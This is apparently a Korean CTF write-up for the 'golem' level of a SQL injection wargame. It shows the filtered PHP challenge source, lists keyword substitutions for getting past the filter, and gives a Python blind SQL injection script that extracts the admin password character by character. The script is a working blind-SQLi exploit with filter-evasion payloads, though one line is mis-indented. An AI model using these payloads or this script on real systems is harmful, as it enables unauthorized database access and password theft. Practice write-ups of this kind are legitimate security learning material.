늘모자란, 개발

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

or도 안되고 and도 안되고 한글자씩 짤라먹는 substr도 안되고 = 도 안된다.. 그 와중에 blind sqli 를 걸어야한다

그럼 이렇게 우회하자
or -> ||
and -> &&
substr( -> substring(
= -> like

썼던 코드를 계속 재활용해보자 (흡족)

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import requests
 
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/golem_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
 
loop = 0
pw = ''
 
for j in range(1,30):
    data = "' || ( id like 'admin' && length(pw) like {} ) -- a".format(j)
    data = requests.utils.quote(data)

    r = requests.get(url+'?pw='+data,headers=headers)
    if r.text.find('Hello admin') != -1 :
        loop = j
         break

print loop

for i in range(1,loop+1):
    for j in string:
        data = "' || ( id like 'admin' && substring(pw,{},1) like 0x{} ) -- a".format(i,j.encode('hex'))
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data,headers=headers)
 
        if r.text.find('Hello admin') != -1 :
            pw = pw + j
            print "[!] found",pw
            break
  
print pw